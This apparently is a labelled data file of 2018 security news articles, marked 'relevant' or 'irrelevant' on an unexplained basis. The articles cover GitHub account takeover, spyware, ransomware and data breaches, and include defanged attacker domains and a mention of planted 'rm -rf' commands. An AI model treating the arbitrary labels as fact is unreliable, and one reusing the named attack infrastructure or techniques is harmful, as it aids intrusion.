"Password-Guessing Was Used to Hack Gentoo Linux Github Account Maintainers of the Gentoo Linux distribution have now revealed the impact and ""root cause"" of the attack that saw unknown hackers taking control of its GitHub account last week and modifying the content of its repositories and pages. The hackers not only managed to change the content in compromised repositories but also locked out Gentoo developers from their GitHub organisation. As a result of the incident, the developers were unable to use GitHub for five days. What Went Wrong? Gentoo developers have revealed that the attackers were able to gain administrative privileges for its Github account, after guessing the account password. The organisation could have been saved if it was using a two-factor authentication, which requires an additional passcode besides the password in order to gain access to the account. ""The attacker gained access to a password of an organization administrator. Evidence collected suggests a password scheme where disclosure on one site made it easy to guess passwords for unrelated web pages,"" Gentoo wrote in its incident report. Besides this, Gentoo developers did not also have a backup copy of its GitHub Organization detail. What's more? The systemd repo was also not mirrored from Gentoo but was stored directly on GitHub. What Went Well? (Luckily) However, Gentoo believed the project got lucky that the attack was ""loud,"" as knocking all other developers out of the targeted GitHub account caused them to be emailed. Quick action from both Gentoo and Github put an end to the attack in about 70 minutes. ""The attack was loud; removing all developers caused everyone to get emailed,"" the Gentoo maintainers said. ""Given the credential taken, it's likely a quieter attack would have provided a longer opportunity window."" Moreover, the report also added that by force pushing commits that attempted to remove all files, the attacker made ""downstream consumption more conspicuous,"" which could have eventually ""blocked git from silently pulling in new content to existing checkouts on 'git pull'."" As the project previously said, the main Gentoo repositories are kept on Gentoo hosted infrastructure, and Gentoo mirrors to GitHub in order to ""be where the contributors are."" Therefore, the private keys of the account were not impacted by the incident, and so the Gentoo-hosted infrastructure. Impact of the Cyber Attack As a result of the incident, the Gentoo Proxy Maintainers Project was impacted as many proxy maintainers contributors use GitHub to submit pull requests, and all past pull requests were also disconnected from their original commits and closed. The attackers also attempted to add ""rm -rf"" commands to various repositories, which if executed, would have deleted user data recursively. However, this code was unlikely to be executed by end users due to various technical guards in place. rm is a Unix command which is used for removing files, directories and similar, and rm -rf denotes a more forcible removal, which ""would cause every file accessible from the present file system to be deleted from the machine."" Steps Taken to Prevent Future Cyber Attacks Following the incident, Gentoo has taken many actions to prevent such attacks in the future. These actions include: Making frequent backups of its GitHub Organization. Enabling two-factor authentication by default in Gentoo's GitHub Organization, which will eventually come to all users the project's repositories. Working on an incident response plan, particularly for sharing information about a security incident with users. Tightening up procedures around credential revocation. Reducing the number of users with elevated privileges, auditing logins, and publishing password policies that mandate password managers. Introducing support for hardware-based 2FA for Gentoo developers Currently, it is not known who was behind the Gentoo Hack. Gentoo did not say if the incident has been reported to law enforcement to hunt for the hacker(s).",irrelevant
"NSO Spyware Targets Saudi Human Rights Activists and Researchers Amnesty International, one of the most prominent non-profit human rights organizations in the world, claims one of its staff members has been targeted by a sophisticated surveillance tool made by Israel's NSO Group. The NSO Group is an Israeli firm that's mostly known for selling high-tech spyware and surveillance malware capable of remotely cracking into Apple's iPhones and Google's Android devices to intelligence apparatuses, militaries, and law enforcement around the world. The company's most powerful spyware called Pegasus for iPhone, Android, and other mobile devices has previously been used to target human rights activists and journalists, from Mexico to the United Arab Emirates. Pegasus has been designed to hack mobile phones remotely, allowing an attacker to access an incredible amount of data on a target victim, including text messages, emails, WhatsApp messages, user's location, microphone, and camera—all without the victim's knowledge. Spyware Targets Amnesty International and Saudi Dissident iphone hacking apps spyware Now, the nasty spyware was used against one of the Amnesty International staffers in Saudi Arabia earlier this year, alongside another Saudi human rights defender based abroad, according to a new report published today. Amnesty says that one of its researchers focused on Saudi Arabia received a suspicious WhatsApp message in early June this year, details about a protest outside the Saudi embassy in Washington that supported ""brothers"" detained during Ramadan. The message also included a link purporting to be from an Arabic news website about the protest, but the London-based human rights organization traced the link to a site that it believes are linked to infrastructure used by NSO Group. A Saudi human rights defender also received a suspicious SMS message, which also carried malicious links to domains identified as part of that same network infrastructure used by NSO Group. Since Amnesty was unable to figure out exactly what the links were designed to deliver, the organization shared the text messages with the University of Toronto's Citizen Lab, which has been tracking NSO spyware for over two years. After analyzing the messages, Citizen Lab said other similar malicious words have widely been shared across people in the Gulf region in WhatsApp groups and on Twitter at the beginning of June 2018. According to the research group, clicking on these links potentially infects the targets' phones with NSO Group's Pegasus spyware. Once infected, as I said above, Pegasus can do almost anything on an iPhone or Android device, including silently stealing messages, spying on phone calls, looking through the webcam and listening using the device microphone. ""NSO Group is known to only sell its spyware to governments. We, therefore, believe that this was a deliberate attempt to infiltrate Amnesty International by a government hostile to our human rights work,"" said Joshua Franco, Amnesty International's Head of Technology and Human Rights. ""The potent state hacking tools manufactured by NSO Group allow for an extraordinarily invasive form of surveillance. A smartphone infected with Pegasus is essentially controlled by the attacker – it can relay phone calls, photos, messages and more directly to the operator. This chilling attack on Amnesty International highlights the grave risk posed to activists around the world with this kind of surveillance technology."" Fortunately, the Amnesty staffer and the Saudi activist, whose names have not been revealed to protect their safety, avoided the infection by not responding to those messages. Total 175 People Across the World Targeted by NSO Spyware Citizen Lab said it had so far counted as many as 174 publicly-reported cases of individuals worldwide ""abusively targeted"" with NSO spyware, including 150 targets in Panama identified as part of a massive domestic espionage scandal across its former president. ""At the time of writing, various reports indicate that up to 175 individuals may have been inappropriately targeted with NSO Group's spyware in violation of their internationally-recognized human rights,"" the researchers say. ""It seems clear that NSO Group is unable or unwilling to prevent its customers from misusing its powerful spyware tools."" Amnesty's cybersecurity research team and Citizen Lab were also able to develop a ""fingerprint"" of NSO's attacks by rerouting targets from malicious links in messages to websites where attacks would launch, and found over 600 domains connected to NSO Group. Those 600 websites Amnesty identified are used to bait and spy on activists in different countries including Zambia, Kenya, Democratic Republic of Congo, Kazakhstan, Latvia, and Hungary, in addition to the Gulf.",irrelevant
"Most LokiBot samples in the wild are ""hijacked"" versions of the original malware Hacker himself got hacked. It turns out that most samples of the LokiBot malware being distributed in the wild are modified versions of the original sample, a security researcher has learned. Targeting users since 2015, LokiBot is a password and cryptocoin-wallet stealer that can harvest credentials from a variety of popular web browsers, FTP, poker and email clients, as well as IT administration tools such as PuTTY. The original LokiBot malware was developed and sold by online alias ""lokistov,"" a.k.a. ""Carter,"" on multiple underground hacking forums for up to $300, but later some other hackers on the dark web also started selling same malware for a lesser price (as low as $80). It was believed that the source code for LokiBot was leaked which might have allowed others to compile their own versions of the stealer. However, a researcher who goes by alias ""d00rt"" on Twitter found that someone made little changes (patching) in the original LokiBot sample, without having access to its source code, which let other hackers define their own custom domains for receiving the stolen data. Hackers Are Actively Spreading ""Hijacked"" Versions of LokiBot LokiBot The researcher found that the C&C server location of the malware, where the stolen data should be sent, has been stored at five places in the program—four of them are encrypted using Triple DES algorithm and one using a simple XOR cipher. The malware has a function, called ""Decrypt3DESstring,"" that it uses to decrypt all the encrypted strings and get the URL of the command-and-control server. The researcher analyzed the new LokiBot samples and compared them with the old original sample, and found that Decrypt3DESstring function in new samples has been modified in a way that it always return value from the XOR-protected string, instead of Triple DES strings. ""The 3DES protected URLs are always the same in the all of the LokiBot samples of this [new] version,"" the researcher said. ""In addition, those URLs are never used. Decrypt3DESstring returns a 3DES decrypted buffer. This should be the ideal behavior of this function, but as was described before, each time Decrypt3DESstring is called, it returns a decrypted url with XOR or encrypted url with XOR."" These changes allowed anyone with a new sample of LokiBot to edit the program, using a simple HEX editor, and add their own custom URLs for receiving the stolen data. However, it is not clear why the original malware author also stored the same C&C server URL in a string encrypted by the less secure XOR cipher, even when it was unnecessary. A lot of different LokiBot samples currently distributed in the wild and available for sale on the underground market at a very low price have also been patched in the same way by several hackers. Meanwhile, the original author of LokiBot has already launched its new version 2.0 and selling it online on many forums. The decryption function was also being used to get registry values required for making the malware persistent on a system, but since after patching the decryption function only returns a URL, the new LokiBot samples fails to restart after the device reboots. To know more technical details about the new samples, you can head on to the research paper [PDF] published by the researchers on GitHub.",irrelevant
"iPhone Hacking Campaign Using MDM Software Is Broader Than Previously Known India-linked highly targeted mobile malware campaign, first unveiled two weeks ago, has been found to be part of a broader campaign targeting multiple platforms, including windows devices and possibly Android as well. As reported in our previous article, earlier this month researchers at Talos threat intelligence unit discovered a group of Indian hackers abusing mobile device management (MDM) service to hijack and spy on a few targeted iPhone users in India. Operating since August 2015, the attackers have been found abusing MDM service to remotely install malicious versions of legitimate apps, including Telegram, WhatsApp, and PrayTime, onto targeted iPhones. These modified apps have been designed to secretly spy on iOS users, and steal their real-time location, SMS, contacts, photos and private messages from third-party chatting applications. During their ongoing investigation, Talos researchers identified a new MDM infrastructure and several malicious binaries – designed to target victims running Microsoft Windows operating systems – hosted on the same infrastructure used in previous campaigns. Ios-update-whatsapp[.]com (new) Wpitcher[.]com Ios-certificate-update.com ""We know that the MDM and the Windows services were up and running on the same C2 server in May 2018,"" researchers said in a blog post published today. ""Some of the C2 servers are still up and running at this time. The Apache setup is very specific, and perfectly matched the Apache setup of the malicious IPA apps."" Possible Connections with ""Bahamut Hacking Group"" mobile device management software Besides this, researchers also found some potential similarities that link this campaign with an old hacking group, dubbed ""Bahamut,"" an advanced threat actor who was previously targeting Android devices using similar MDM technique as used in the latest iOS malware campaign. The newly identified MDM infrastructure, which was created in January 2018, and used from January to March of this year, targeted two Indian devices and one located in Qatar with a British phone number. According to the researchers, Bahamut also targeted similar Qatar-based individuals during their Android malware campaign, as detailed by Bellingcat in a blog post. ""Bahamut shared a domain name with one of the malicious iOS applications mentioned in our previous post,"" researchers said. ""The new MDM platform we identified has similar victimology with Middle Eastern targets, namely Qatar, using a U.K. mobile number issued from LycaMobile. Bahamut targeted similar Qatar-based individuals during their campaign."" Apart from distributing modified Telegram and WhatsApp apps with malicious functionalities, the newly-identified server also distributes modified versions of Safari browser and IMO video chatting app to steal more personal information on victims. Attackers Using Malicious Safari Browser to Steal Login Credentials hack iphone mobile device management According to the researchers, the malicious Safari browser has been pre-configured to automatically exfiltrate the username and the password of the users for a variety of other web services, Yahoo, Rediff, Amazon, Google, Reddit, Baidu, ProtonMail, Zoho, Tutanota and more. ""The malware continuously monitors a web page, seeking out the HTML form fields that hold the username and password as the user types them in to steal credentials. The names of the inspected HTML fields are embedded into the app alongside the domain names,"" the researchers said. The malicious browser contains three malicious plugins—Add Bookmark, Add To Favourites, and Add to Reading List—that just like the other apps, send stolen data to a remote attacker-controlled server. At this time, it's unclear who is behind the campaign, who was targeted in the campaign, and what were the motives behind the attack, but the technical elements suggest the attackers are operating from India, and are well-funded. Researchers said that those infected with this kind of malware need to enroll their devices, which means ""they should be on the lookout at all times to avoid accidental enrollment."" The best way to avoid being a victim to such attacks is to always download apps from official app store.",irrelevant
"Microsoft Releases Patch Updates for 53 Vulnerabilities In Its Software It's time to gear up your systems and software for the latest July 2018 Microsoft security patch updates. Microsoft today released security patch updates for 53 vulnerabilities, affecting Windows, Internet Explorer (IE), Edge, ChakraCore, .NET Framework, ASP.NET, PowerShell, Visual Studio, and Microsoft Office and Office Services, and Adobe Flash Player. Out of 53 vulnerabilities, 17 are rated critical, 34 important, one moderate and one as low in severity. This month there is no critical vulnerability patched in Microsoft Windows operating system and surprisingly, none of the flaw patched by the tech giant this month is listed as publicly known or under active attack. Critical Flaws Patched In Microsoft Products Most of the critical issues are memory corruption flaws in IE, Edge browser and Chakra scripting engine, which if successfully exploited, could allow an unauthenticated, remote attacker to execute arbitrary code on a targeted system in the context of the current user. ""If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights,"" Microsoft explains. One of these critical flaws (CVE-2018-8327), reported by researchers at Casaba Security, also affects PowerShell Editor Services that could allow a remote attacker to execute malicious code on a vulnerable system. Here's below you can find a brief list of all critical vulnerabilities Microsoft has patched this month in its various products: Scripting Engine Memory Corruption Vulnerability (CVE-2018-8242) Edge Memory Corruption Vulnerability (CVE-2018-8262) Edge Memory Corruption Vulnerability (CVE-2018-8274) Scripting Engine Memory Corruption Vulnerability (CVE-2018-8275) Scripting Engine Memory Corruption Vulnerability (CVE-2018-8279) Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8280) Scripting Engine Memory Corruption Vulnerability (CVE-2018-8283) Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8286) Scripting Engine Memory Corruption Vulnerability (CVE-2018-8288) Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8290) Scripting Engine Memory Corruption Vulnerability (CVE-2018-8291) Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8294) Scripting Engine Memory Corruption Vulnerability (CVE-2018-8296) Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8298) Microsoft Edge Memory Corruption Vulnerability (CVE-2018-8301) Microsoft Edge Information Disclosure Vulnerability (CVE-2018-8324) PowerShell Editor Services Remote Code Execution Vulnerability (CVE-2018-8327) Important Patch Updates for Microsoft Products Besides this, Microsoft has also addressed 34 important flaws categorized as below: Microsoft Edge—Remote code execution (RCE), Information disclosure, spoofing, and security feature bypass flaws Microsoft Internet Explorer (IE)— RCE and security feature bypass flaws MS Office (Powerpoint, Word, Excel, Access, Lync, Skype)—security feature bypass, RCE, and elevation of privilege flaws Windows 10, 8.1, 7 and Server 2008, 2012, 2016—Denial of Service, security feature bypass, elevation of privilege flaws Microsoft .NET Framework—Elevation of privilege and RCE flaws Microsoft SharePoint—Elevation of Privilege, and RCE flaws ChakraCore—RCE, and security feature bypass vulnerabilities Microsoft Visual Studio—RCE flaw Expression Blend 4—RCE flaw ASP .NET—security feature bypass flaws Mail, Calendar, and People in Windows 8.1 App Store—information disclosure flaw Besides this, Microsoft has also pushed security updates to patch vulnerabilities in Adobe products, details of which you can get through a separate article posted today. Users are strongly advised to apply security patches as soon as possible to keep hackers and cybercriminals away from taking control of their computers. For installing security updates, simply head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually. ",relevant
"Hackers Used Malicious MDM Solution to Spy On 'Highly Targeted' iPhone Users Security researchers have uncovered a ""highly targeted"" mobile malware campaign that has been operating since August 2015 and found spying on 13 selected iPhones in India. The attackers, who are also believed to be operating from India, were found abusing mobile device management (MDM) protocol—a type of security software used by large enterprises to control and enforce policies on devices being used their employees—to contol and deploy malicious applications remotely. Exploiting Apple MDM Service to Remotely Control Devices hack-iphone-using-mdm-server To enroll an iOS device into the MDM requires a user to manually install enterprise development certificate, which enterprises obtained through the Apple Developer Enterprise Program. Companies can deliver MDM configuration file through email or a webpage for over-the-air enrollment service using Apple Configurator. Once a user installs it, the service allows the company administrators to remotely control the device, install/remove apps, install/revoke certificates, lock the device, change password requirements, etc. ""MDM uses the Apple Push Notification Service (APNS) to deliver a wake-up message to a managed device. The device then connects to a predetermined web service to retrieve commands and return results,"" Apple explains about MDM. Since each step of the enrollment process requires user interaction, such as installing a certificate authority on the iPhone, it is not yet clear how attackers managed to enroll 13 targeted iPhones into their MDM service. However, researchers at Cisco's Talos threat intelligence unit, who discovered the campaign, believe that the attackers likely used either a social engineering mechanism, like a fake tech support-style call, or physical access to the targeted devices. Spying Through Compromised Telegram and WhatsApp Apps hack-iphone-using-mdm-server According to the researchers, the attackers behind the campaign used the MDM service to remotely install modified versions of legitimate apps onto target iPhones, which were designed to secretly spy on users, and steal their real-time location, contacts, photos, SMS and private messages from chat applications. To add malicious features into secure messaging apps, such as Telegram and WhatsApp, the attacker used the ""BOptions sideloading technique,"" which allowed them to inject a dynamic library into the legitimate apps. ""The injection library can ask for additional permissions, execute code and steal information from the original application, among other things,"" researchers explain. The malware injected into the compromised versions of the Telegram, and WhatsApp applications were designed to send contacts, location, and images from the compromised device to a remote server located at hxxp[:]//techwach[.]com ""Talos identified another legitimate app executing malicious code during this campaign in India. PrayTime is used to give the user a notification when it's time to pray,"" researchers said. ""The purpose is to download and display specific ads to the user. This app also leverages private frameworks to read the SMS messages on the device it is installed on and uploads these to the C2 server."" At this time, it is not known who is behind the campaign, who was targeted in the campaign, and what were the motives behind the attack, but researchers find evidence suggesting the attackers were operating from India, while the attackers planted a ""false flag"" by posing as Russian. ""Over a three-year period, the attackers remained under the radar — likely due to the low number of compromised devices. We found testing devices enrolled on the MDM with an Indian phone number and registered on an Indian provider,"" Talos researchers said. ""All the technical details point to an actor based in the same country as the victims: India."" At the time of reporting, Apple had already revoked 3 certificates linked to this campaign, and after getting informed by the Talos team, the company also canceled the rest two certificates as well.",relevant
"Microsoft Says Russia Tried to Hack Three 2018 Midterm Election Candidates Microsoft said it detected and helped the US government to block Russian hacking attempts against at least three congressional candidates this year, a Microsoft executive revealed speaking at the Aspen Security Forum today. Although the company refused to name the targets but said, the three candidates were ""people who, because of their positions, might have been interesting targets from an espionage standpoint as well as an election disruption standpoint."" According to the company, the Russian hackers targeted the candidates' staffers with phishing attacks, redirecting them to a fake Microsoft website, in an attempt to steal their credentials. ""Earlier this year, we did discover that a fake Microsoft domain had been established as the landing page for phishing attacks,"" said Tom Burt, Microsoft's vice president for customer security. ""And we saw metadata that suggested those phishing attacks were being directed at three candidates who are all standing for election in the midterm elections."" Immediately after learning of this incident, Microsoft took down the fake domain and worked with the government to ""avoid anybody being infected by that particular attack."" The company also ensured that none of the targeted campaign staffers were infected by the attack. Burt specified that the hacking attempts were conducted by a Russian hacking group, though so far the group has been less active compared to 2016, during the U.S. presidential election. Microsoft ""discovered that these [fake domains] were being registered by an activity group that at Microsoft we call Strontium...that's known as Fancy Bear or APT 28,"" Burt said. ""The consensus of the threat intelligence community right now is [that] we do not see the same level of activity by the Russian activity groups leading into the mid-year elections that we could see when we look back at them at that 2016 elections,"" he added. For instance, Burt said the hackers are not infiltrating think tanks and targeting academia experts that they did during the 2016 presidential election. However, Burt warned that ""That does not mean we're not going to see it, there is a lot of time left before the election.""",irrelevant
"12 Russian Intelligence Agents Indicted For Hacking DNC Emails The US Justice Department has announced criminal indictments against 12 Russian intelligence officers tied to the hack of the Democratic National Committee (DNC) during the 2016 US presidential election campaign. The charges were drawn up as part of the investigation of Russian interference in the 2016 US presidential election by Robert Mueller, the Special Counsel, and former FBI director. The indictments against 12 Russian military officers were announced by Deputy Attorney General Rod Rosenstein during a DoJ press conference on Friday—just 3 days before the Russian leader Vladimir Putin is scheduled to meet with President Donald Trump. All 12 Russian officers are members of the country's GRU military intelligence unit and are accused of carrying out ""large-scale cyber operations"" to hack into DNC network and steal Democrats' emails to influence the 2016 presidential election. Here's the list of all 12 defendants: Viktor Borisovich Netyksho Boris Alekseyevich Antonov Dmitriy Sergeyevich Badin Ivan Sergeyevich Yermakov Aleksey Viktorovich Lukashev Sergey Aleksandrovich Morgachev Nikolay Yuryevich Kozachek Pavel Vyacheslavovich Yershov Artem Andreyevich Malyshev Aleksandr Vladimirovich Osadchuk Aleksey Aleksandrovich Potemkin Anatoliy Sergeyevich Kovalev The indictments alleged that the election hacking targeted Hillary Clinton's campaign, DNC and the Democratic Congressional Campaign Committee (DCCC), with an intention to release that information online under the name DNCLeaks. ""The Internet allows foreign adversaries to attack America in new and unexpected ways. Free and fair elections are hard-fought and contentious,"" Rosenstein said. ""There will always be adversaries who work to exacerbate domestic differences and try to confuse, divide, and conquer us."" However, Rosenstein said the indictments did not allege that the cyberattacks ultimately affected vote count or changed the outcome of the 2016 election. According to the indictments, Guccifer 2.0, who posed as a lone hacker from Romania and released sensitive documents hacked from the DNC server, and a website that released records under the name DCLeaks was operated by a Russian hacking team known as ""Unit 74455."" The team allegedly used Bitcoin to purchase purchasing servers (including the one in Malaysia to host the DCLeaks website), registering domains, and otherwise making payments in furtherance of hacking activity. The indictments include 11 criminal counts: One count for a criminal conspiracy to commit an offense against the U.S. through cyber operations by the GRU that involved the staged release of stolen documents to interfere with the 2016 presidential election. Two counts through nine charge aggravated identity theft for using identification belonging to eight victims to further their computer fraud scheme. Ten counts for conspiracy to launder money in which the defendants laundered the equivalent of over $95,000 by transferring the funds used to purchase servers and fund other costs related to their hacking activities through cryptocurrencies like Bitcoin. Eleven counts for conspiracy to commit an offense against the U.S. by attempting to hack into the computers of state boards of elections, secretaries of state, and US companies that supplied software and other tech related to the administration of elections. Although the defendants claimed to be ""American hacktivists"" on the DCLeaks website, the indictments note that no American was a knowing participant in any related activity or knew they were communicating with Russian intelligence officers.",irrelevant
"SamSam Ransomware Attacks Extorted Nearly $6 Million Ransomware has become a multimillion-dollar black market business for cybercriminals, and SamSam being a great example. New research revealed that the SamSam ransomware had extorted nearly $6 million from its victims since December 2015, when the cyber gang behind the ransomware started distributing the malware in the wild. Researchers at Sophos have tracked Bitcoin addresses owned by the attackers mentioned on ransom notes of each SamSam version and found the attackers have received more than $5.9 million from just 233 victims, and their profits are still on the rise, netting around $300,000 per month. ""In total, we have now identified 157 unique addresses which have received ransom payments as well as 89 addresses which have been used on ransom notes and sample files but, to date, have not received payments,"" the new report by Sophos reads. SamSam Ransomware Attacks samsam ransomware attacks> What makes SamSam stand out from other forms of ransomware is that SamSam is not distributed in an unplanned way via spam email campaigns; instead, attackers choose potential targets and infect systems manually. Attackers first compromise the RDP on a targeted system—either by conducting brute force attack or using stolen credentials purchased from the dark web—and then attempt to strategically deploy SamSam ransomware throughout the network by exploiting vulnerabilities in other systems. Unlike other well-known ransomware like WannaCry and NotPetya, SamSam does not include any worm-like or virus capabilities to spread by itself. Instead, the ransomware relies on the human attacker to spread it. Once they're on the entire network, the ransomware then encrypts the system's data and demand a huge ransom payment (usually more than $50,000 which is much higher than normal) in Bitcoin in exchange for the decryption keys. ""A multi-tiered priority system ensures that the ransomware encrypts the most valuable data first, but eventually it also encrypts everything else that isn't in a very short list of Windows system-related files."" ""This method has several benefits. As a manual attack, it poses no risk of spreading out of control, attracting unwanted attention. It also allows the attacker to cherry pick targets, and to know which computers have been encrypted."" SamSam Ransomware Chooses Its Targets Carefully samsam ransomware attacks Since December 2015, SamSam has significantly targeted some large organizations, including the Atlanta city government, the Colorado Department of Transportation, several hospitals and educational institutions like the Mississippi Valley State University. So far, the largest ransom paid by an individual victim is valued at $64,000—a significantly large amount compared to most ransomware families. Since the SamSam victims do not see any other option to restore their encrypted files, a significant percentage of victims are paying the ransom, making the attack more effective. According to Sophos, 74 percent of the known victim organizations identified by the security firm is based in the United States, and others are distributed in Canada, the UK, and the Middle East. To protect against this threat, users and organizations are recommended to keep regular backups, use multi-factor authentication, restrict access to RDP(on port 3389), and always keep systems and software up-to-date.",irrelevant
"21-Year-Old Woman Charged With Hacking Selena Gomez's Email Account A 21-year-old New Jersey woman has been charged with hacking into the email accounts of pop star and actress Selena Gomez, stealing her personal photos, and then leaked them to the Internet. Susan Atrach of Ridgefield Park was charged Thursday with 11 felony counts—five counts of identity theft, five counts of accessing and using computer data to commit fraud or illegally obtain money, property or data, and one count of accessing computer data without permission. According to the prosecutors, Atrach allegedly hacked into email accounts belonging to Gomez and one of her associates several times between June 2015 and February 2016, the Los Angeles County District Attorney's office said in a press release. She then obtained images and other media stored there and shared them with her friends and posted them online. Gomez, who has more than 138 million followers on Instagram, was the victim of a hacking attack in August 2017, when photographs of her ex-boyfriend Justin Bieber were posted to her Instagram account. However, it is not immediately clear if those photos were also the subject of the criminal charges against Atrach. According to LA Times, Atrach believed to have broken into Apple iCloud and Yahoo email accounts used by Gomez and her personal assistant, by using the publicly-available information to answer the singer's ""secret questions."" She then reportedly stole digital information, including photos of Justin Bieber that were taken as Gomez and Bieber vacationed in Bora Bora in 2015, and made them online. Atrach is scheduled to be arraigned in Los Angeles Superior Court by August 27. If convicted, Atrach could face up to nine years and eight months in prison. Neither Gomez nor any of her representatives have made a comment on the case. It seems like celebrities are not taking the security of their online accounts seriously, as anyone could find the answers to celebrities' security questions among hundreds of pieces of information about the celebrities readily available on the Internet. In past, hackers managed to breach the iCloud accounts of a hundreds of singers and actresses, including Jennifer Lawrence, Kate Upton, Miley Cyrus, and Kim Kardashian, extract photos and videos and then post them online—the incident very well known the Fappening. So, lesson learned—always choose strong and unique passwords for all your online accounts and enable two-factor authentication, if available, so that even if the hackers know your password, they can not get into your account. Moreover, do not keep easy-to-guess answers to your security questions, use one that only you knows, and nobody else. Since such hacks are usually conducted using social engineering tricks, you are advised to avoid clicking on any suspicious link or attachment you receive via an email or message and avoid providing your personal or financial information without verifying the source properly.",irrelevant
"Singapore's Largest Healthcare Group Hacked, 1.5 Million Patient Records Stolen Singapore's largest healthcare group, SingHealth, has suffered a massive data breach that allowed hackers to snatch personal information on 1.5 million patients who visited SingHealth clinics between May 2015 and July 2018. SingHealth is the largest healthcare group in Singapore with 2 tertiary hospitals, 5 national specialty , and eight polyclinics. According to an advisory released by Singapore's Ministry of Health (MOH), along with the personal data, hackers also managed to stole 'information on the outpatient dispensed medicines' of about 160,000 patients, including Singapore's Prime Minister Lee Hsien Loong, and few ministers. ""On 4 July 2018, IHiS' database administrators detected unusual activity on one of SingHealth's IT databases. They acted immediately to halt the activity,"" MOH said. The stolen data includes the patient's name, address, gender, race, date of birth, and National Registration Identity Card (NRIC) numbers. The Ministry of Health said the hackers ""specifically and repeatedly"" targeted the PM's ""personal particulars and information on his outpatient dispensed medicine."" So far there's no evidence of who was behind the attack, but the MOH stated that the cyber attack was ""not the work of casual hackers or criminal gangs."" The local media is also speculating that the hack could be a work of state-sponsored hackers. Investigations by the Cyber Security Agency of Singapore (CSA) and the Integrated Health Information System (IHiS) also confirmed that ""this was a deliberate, targeted, and well-planned cyberattack."" PM Comments On SingHealth Healthcare Data Breach Commenting on the cyber attack through a Facebook post published today, Singapore's Prime Minister said he believes that the attackers are ""extremely skilled and determined"" and they have ""huge resources"" to conduct such cyber attacks repeatedly. ""I don't know what the attackers were hoping to find. Perhaps they were hunting for some dark state secret or at least something to embarrass me. If so, they would have been disappointed,"" Singapore PM said. ""My medication data is not something I would ordinarily tell people about, but nothing is alarming in it."" The Singapore government has assured its citizens that no medical records were tampered, or deleted and that no diagnoses, test results, or doctors' notes were stolen in the attack. All affected patients will be contacted by the healthcare institution over the next five days. Since the healthcare sector is part of the critical nation's infrastructure, alongside water, electricity, and transport, it has increasingly become an attractive target for hackers. In the past few years, we have reported several hacks and data breaches, targeting the healthcare sector. Just last month, it was revealed that DNA registries of more than 92 million MyHeritage customers were stolen in the previous year by some unknown hackers. Earlier this year, it was reported that more than half of Norway's population exposed its healthcare data in a massive data breach that targeted the country's major healthcare organization. The foremost thing to protect against any data breach is to stay vigilant, as nobody knows when or where your stolen identities will be used. So, affected consumers will just have to remain mindful.",irrelevant
"Timehop Hacked — Hackers Stole Personal Data Of All 21 Million Users And the hacks just keep on coming. Timehop social media app has been hit by a major data breach on July 4th that compromised the personal data of its more than 21 million users. Timehop is a simple social media app that collects your old photos and posts from your iPhone, Facebook, Instagram, Twitter and Foursquare and acts as a digital time machine to help you find—what you were doing on this very day exactly a year ago. The company revealed on Sunday that unknown attacker(s) managed to break into its Cloud Computing Environment and access the data of entire 21 million users, including their names, email addresses, and approximately 4.7 million phone numbers attached to their accounts. ""We learned of the breach while it was still in progress, and were able to interrupt it, but data was taken. Some data was breached,"" the company wrote in a security advisory posted on its website. Social Media OAuth2 Tokens Also Compromised Moreover, the attackers also got their hands on authorization tokens (keys) provided by other social networking sites to Timehop for gaining access to your social media posts and images. With access to these tokens, hackers could view some of your posts on Facebook and other social networks without your permission. However, Timehop claims that all the compromised tokens were deauthorized and made invalid within a ""short time window"" after the company detected the breach on its network on July 4th at 4:23 PM Eastern Time. The stolen access tokens cannot be now used to gain access to any of your social media profiles, and the company also claims that there is ""no evidence that this actually happened."" ""In addition to our communications with local and federal law enforcement, we are also in contact with all our social media providers, and will update users as needed, but again: there are no credible reports, and there has been no evidence of, any unauthorized use of these access tokens,"" the company said. It should also be noted that these authorization tokens do not give anyone, including the company itself, access to your private messages on Facebook Messenger, Direct Messages on Twitter and Instagram, and things that your friends post to your Facebook wall. Timehop is also confident that the security breach did not affect your private/direct messages, financial data, social media and photo content, and other Timehop data including streaks and memories. Timehop also pointed out that there was no evidence that any account was accessed without authorization. Data Breach Aided By Lack of Two-Factor Authentication ""The breach occurred because an access credential to our cloud computing environment was compromised,"" Timehop said. The same day Timehop identified the breach on its network, we reported about the Gentoo GitHub account hack that allowed intruders to replace the content of the project's repositories and pages with the malicious one, after guessing the account password. The Gentoo breach was aided by the lack of two-factor authentication (2FA) for its Github account. The 2FA makes it mandatory for users to enter an additional passcode besides the password in order to gain access to the account. The same happened with Timehop. Since the company was not using two-factor authentication, the attacker(s) were able to gain access to its cloud computing environment by using compromised credential. Timehop has now taken some new security measures that include system-wide multifactor authentication to secure its authorization and access controls on all accounts. Timehop immediately logged out all of its users of the app after the company invalidated all API credentials, which means you will need to re-authenticate each of your social media accounts to the app when you log into your Timehop account to generate a new token. The company is also working with security experts and incident response professionals, local and federal law enforcement officials, and its social media providers to minimize the impact of the breach on its users. Since the new GDPR privacy law defines a breach as ""likely to result in a risk to the rights and freedoms of the individuals,"" Timehop claims to have notified all of its affected European users and is working closely with GDPR experts to assist in the countermeasures. To know more about the incident and how it happened, you can head on to the technical report published by Timehop, which provides a more detailed breakdown of the security incident.",irrelevant
